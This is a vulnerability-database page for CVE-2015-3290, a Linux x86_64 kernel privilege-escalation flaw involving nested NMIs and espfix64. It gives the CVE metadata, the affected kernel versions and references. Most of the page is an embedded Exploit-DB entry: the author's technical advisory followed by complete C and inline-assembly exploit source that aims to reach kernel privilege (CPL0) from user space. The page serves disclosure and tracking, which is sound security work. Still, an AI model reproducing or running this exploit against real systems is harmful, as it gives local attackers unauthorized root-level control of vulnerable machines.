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CVE-2015-3290 : Detail

CVE-2015-3290

A01-Broken Access Control
0.15%V3
Local
2015-08-31 08:00 +00:00
2017-09-16 07:57 +00:00
CVE.org
NVD

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Descriptions

arch/x86/entry/entry_64.S in the Linux kernel before 4.1.6 on the x86_64 platform improperly relies on espfix64 during nested NMI processing, which allows local users to gain privileges by triggering an NMI within a certain instruction window.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metric Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 37722

Publication date : 2015-08-04 22:00 +00:00
Author : Andrew Lutomirski
EDB Verified : No

/* > +++++ CVE-2015-3290 +++++ > > High impact NMI bug on x86_64 systems 3.13 and newer, embargoed. Also fixed by: > > https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9b6e6a8334d56354853f9c255d1395c2ba570e0a > > The other fix (synchronous modify_ldt) does *not* fix CVE-2015-3290. > > You can mitigate CVE-2015-3290 by blocking modify_ldt or > perf_event_open using seccomp. A fully-functional, portable, reliable > exploit is privately available and will be published in a week or two. > *Patch your systems* And here's a real advisory: If an NMI returns via espfix64 and is interrupted during espfix64 setup by another NMI, the return state is corrupt. This is exploitable for reliable privilege escalation on any Linux x86_64 system in which untrusted code can arrange for espfix64 to be invoked and for NMIs to be nested. Glossing over a lot of details, the basic structure of Linux' nested NMI handling is: nmi_handler: if (in_nmi) { nmi_latched = true; return; } in_nmi = true; handle the nmi; atomically (this is magic): if (nmi_latched) { nmi_latched = false; start over; } else { in_nmi = false; return and unmask NMIs; } Alas, on x86_64, there is no reasonable way to block NMIs to run the atomic part of that pseudocode atomically. Instead, the entire atomic piece is implemented by the single instruction IRET. But x86_64 is more broken than just that. The IRET instruction does not restore register state correctly [1] when returning to a 16-bit stack segment. x86_64 has a complicated workaround called espfix64. If espfix64 is invoked on return, a well-behaved IRET is emulated by a complicated scheme that involves manually switching stacks. During the stack switch, there is a window of approximately 19 instructions between the start of espfix64's access to the original stack and when espfix64 is done with the original stack. If a nested NMI occurs during this window, then the atomic part of the basic nested NMI algorithm is observably non-atomic. Depending on exactly where in this window the nested NMI hits, the results vary. Most nested NMIs will corrupt the return context and crash the calling process. Some are harmless except that the nested NMI gets ignored. There is a two-instruction window in which the return context ends up with user-controlled RIP and CS set to __KERNEL_CS. A careful exploit (attached) can recover from all the crashy failures and can regenerate a valid *privileged* state if a nested NMI occurs during the two-instruction window. This exploit appears to work reasonably quickly across a fairly wide range of Linux versions. If you have SMEP, this exploit is likely to panic the system. Writing a usable exploit against a SMEP system would be considerably more challenging, but it's surely possible. Measures like UDEREF are unlikely to help, because this bug is outside any region that can be protected using paging or segmentation tricks. However, recent grsecurity kernels seem to forcibly disable espfix64, so they're not vulnerable in the first place. A couple of notes: - This exploit's payload just prints the text "CPL0". The exploit will keep going after printing CPL0 so you can enjoy seeing the frequency with which it wins. Interested parties could easily write different payloads. I doubt that any existing exploit mitigation techniques would be useful against this type of attack. - If you are using a kernel older than v4.1, a 64-bit build of the exploit will trigger a signal handling bug and crash. Defenders should not rejoice, because the exploit works fine when build as a 32-bit binary or (so I'm told) as an x32 binary. - This is the first exploit I've ever written that contains genuine hexadecimal code. The more assembly-minded among you can have fun figuring out why :) [1] By "correctly", I mean that the register state ends up different from that which was saved in the stack frame, not that the implementation doesn't match the spec in the microcode author's minds. The spec is simply broken (differently on AMD and Intel hardware, perhaps unsurprisingly.) --Andy */ /* * Copyright (c) 2015 Andrew Lutomirski. * GPL v2 * * Build with -O2. Don't use -fno-omit-frame-pointer. * * Thanks to Petr Matousek for pointing out a bug in the exploit. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include /* Abstractions for some 32-bit vs 64-bit differences. */ #ifdef __x86_64__ # define REG_IP REG_RIP # define REG_SP REG_RSP # define REG_AX REG_RAX struct selectors { unsigned short cs, gs, fs, ss; }; static unsigned short *ssptr(ucontext_t *ctx) { struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS]; return &sels->ss; } static unsigned short *csptr(ucontext_t *ctx) { struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS]; return &sels->cs; } #else # define REG_IP REG_EIP # define REG_SP REG_ESP # define REG_AX REG_EAX # define REG_CR2 (REG_SS + 3) static greg_t *ssptr(ucontext_t *ctx) { return &ctx->uc_mcontext.gregs[REG_SS]; } static greg_t *csptr(ucontext_t *ctx) { return &ctx->uc_mcontext.gregs[REG_CS]; } #endif static char altstack_data[SIGSTKSZ]; static void sethandler(int sig, void (*handler)(int, siginfo_t *, void *), int flags) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = handler; sa.sa_flags = SA_SIGINFO | flags; sigemptyset(&sa.sa_mask); if (sigaction(sig, &sa, 0)) err(1, "sigaction"); } static jmp_buf jmpbuf; static volatile unsigned long expected_rsp; static volatile unsigned int cpl0; static void handler(int sig, siginfo_t *info, void *ctx_void) { ucontext_t *ctx = (ucontext_t*)ctx_void; unsigned long sig_err = ctx->uc_mcontext.gregs[REG_ERR]; unsigned long sig_trapno = ctx->uc_mcontext.gregs[REG_TRAPNO]; char errdesc[64] = ""; if (sig_trapno == 14) { strcpy(errdesc, " "); if (sig_err & (1 << 0)) strcat(errdesc, "PRESENT "); if (sig_err & (1 << 1)) strcat(errdesc, "WRITE "); if (sig_err & (1 << 2)) strcat(errdesc, "USER "); sprintf(errdesc + strlen(errdesc), "at 0x%llX", (unsigned long long)ctx->uc_mcontext.gregs[REG_CR2]); } else if (sig_err != 0) { const char *src = (sig_err & 1) ? " EXT" : ""; const char *table; if ((sig_err & 0x6) == 0x0) table = "GDT"; else if ((sig_err & 0x6) == 0x4) table = "LDT"; else if ((sig_err & 0x6) == 0x2) table = "IDT"; else table = "???"; sprintf(errdesc, " %s%s index %lu, ", table, src, sig_err >> 3); } char trapname[32]; if (sig_trapno == 13) strcpy(trapname, "GP"); else if (sig_trapno == 11) strcpy(trapname, "NP"); else if (sig_trapno == 12) strcpy(trapname, "SS"); else if (sig_trapno == 14) strcpy(trapname, "PF"); else if (sig_trapno == 32) strcpy(trapname, "IRET"); /* X86_TRAP_IRET */ else sprintf(trapname, "%lu", sig_trapno); printf("+ State was corrupted: %s #%s(0x%lx%s)\n", (sig == SIGSEGV ? "SIGSEGV" : "SIGTRAP"), trapname, (unsigned long)sig_err, errdesc); if (cpl0) { printf(" CPL0\n"); cpl0 = 0; } if (!(ctx->uc_mcontext.gregs[REG_EFL] & X86_EFLAGS_IF)) printf(" RFLAGS = 0x%llX (interrupts disabled)\n", (unsigned long long)ctx->uc_mcontext.gregs[REG_EFL]); if (ctx->uc_mcontext.gregs[REG_SP] != expected_rsp) printf(" RSP = 0x%016llX\n", (unsigned long long)ctx->uc_mcontext.gregs[REG_SP]); unsigned short normal_ss; asm ("mov %%ss, %0" : "=rm" (normal_ss)); if (*ssptr(ctx) != 0x7 && *ssptr(ctx) != normal_ss) printf(" SS = 0x%hX\n", *ssptr(ctx)); siglongjmp(jmpbuf, 1); } static void set_ldt(void) { /* Boring 16-bit data segment. */ const struct user_desc data_desc = { .entry_number = 0, .base_addr = 0, .limit = 0xfffff, .seg_32bit = 0, .contents = 0, /* Data, expand-up */ .read_exec_only = 0, .limit_in_pages = 0, .seg_not_present = 0, .useable = 0 }; if (syscall(SYS_modify_ldt, 1, &data_desc, sizeof(data_desc)) != 0) err(1, "modify_ldt"); } int main(int argc, char **argv) { static unsigned short orig_ss; /* avoid RSP references */ set_ldt(); sethandler(SIGSEGV, handler, SA_ONSTACK); sethandler(SIGTRAP, handler, SA_ONSTACK); stack_t stack = { .ss_sp = altstack_data, .ss_size = SIGSTKSZ, }; if (sigaltstack(&stack, NULL) != 0) err(1, "sigaltstack"); printf("If I produce no output, then either your kernel is okay\n" "or you didn't abuse perf appropriately.\n" "Run me under heavy perf load. For example:\n" "perf record -g -o /dev/null -e cycles -e instructions -c 10000 %s\n", argv[0]); if (sizeof(void *) != 4) { printf("*** WARNING *** A 64-bit build of this exploit will not\n" " work correctly on kernels before v4.1 due to\n" " a signal handling bug. Build for 32-bit\n" " or x32 instead\n"); } sigsetjmp(jmpbuf, 1); asm volatile ("mov %%ss, %0" : "=rm" (orig_ss)); while (1) { #ifdef __x86_64__ asm volatile ( /* A small puzzle for the curious reader. */ "mov $2048, %%rbp \n\t" /* Save rsp for diagnostics */ "mov %%rsp, %[expected_rsp] \n\t" /* * Let 'er rip. */ "mov %[ss], %%ss \n\t" /* begin corruption */ "movl $1000, %%edx \n\t" "1: decl %%edx \n\t" "jnz 1b \n\t" "mov %%ss, %%eax \n\t" /* grab SS to display */ /* Did we enter CPL0? */ "mov %%cs, %%dx \n\t" "testw $3, %%dx \n\t" "jnz 2f \n\t" "incl cpl0(%%rip) \n\t" "leaq 3f(%%rip), %%rcx \n\t" "movl $0x200, %%r11d \n\t" "sysretq \n\t" "2: \n\t" /* * Stop further corruption. We need to check CPL * first because we need RPL == CPL. */ "mov %[orig_ss], %%ss \n\t" /* end corruption */ "subq $128, %%rsp \n\t" "pushfq \n\t" "testl $(1<<9),(%%rsp) \n\t" "addq $136, %%rsp \n\t" "jz 3f \n\t" "cmpl %[ss], %%eax \n\t" "je 4f \n\t" "3: int3 \n\t" "4: \n\t" : [expected_rsp] "=m" (expected_rsp) : [ss] "r" (0x7), [orig_ss] "m" (orig_ss) : "rax", "rcx", "rdx", "rbp", "r11", "flags" ); #else asm volatile ( /* A small puzzle for the curious reader. */ "mov %%ebp, %%esi \n\t" "mov $2048, %%ebp \n\t" /* Save rsp for diagnostics */ "mov %%esp, %[expected_rsp] \n\t" /* * Let 'er rip. */ "mov %[ss], %%ss \n\t" /* begin corruption */ "movl $1000, %%edx \n\t" "1: .byte 0xff, 0xca \n\t" /* decl %edx */ "jnz 1b \n\t" "mov %%ss, %%eax \n\t" /* grab SS to display */ /* Did we enter CPL0? */ "mov %%cs, %%dx \n\t" "testw $3, %%dx \n\t" "jnz 2f \n\t" ".code64 \n\t" "incl cpl0(%%rip) \n\t" "leaq 3f(%%rip), %%rcx \n\t" "movl $0x200, %%r11d \n\t" "sysretl \n\t" ".code32 \n\t" "2: \n\t" /* * Stop further corruption. We need to check CPL * first because we need RPL == CPL. */ "mov %[orig_ss], %%ss \n\t" /* end corruption */ "pushf \n\t" "testl $(1<<9),(%%esp) \n\t" "addl $4, %%esp \n\t" "jz 3f \n\t" "cmpl %[ss], %%eax \n\t" "je 4f \n\t" "3: int3 \n\t" "4: mov %%esi, %%ebp \n\t" : [expected_rsp] "=m" (expected_rsp) : [ss] "r" (0x7), [orig_ss] "m" (orig_ss) : "eax", "ecx", "edx", "esi", "flags" ); #endif /* * If we ended up with IF == 0, there's no easy way to fix * it. Instead, make frequent syscalls to avoid hanging * the system. */ syscall(0x3fffffff); } }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 3.12.47

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.14.54

Linux>>Linux_kernel >> Version From (including) 3.15 To (excluding) 3.16.35

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.22

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.1.6

References

http://www.openwall.com/lists/oss-security/2015/08/04/8
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/76004
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/37722/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.ubuntu.com/usn/USN-2689-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2690-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2691-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2688-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.debian.org/security/2015/dsa-3313
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.openwall.com/lists/oss-security/2015/07/22/7
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2687-1
Tags : vendor-advisory, x_refsource_UBUNTU

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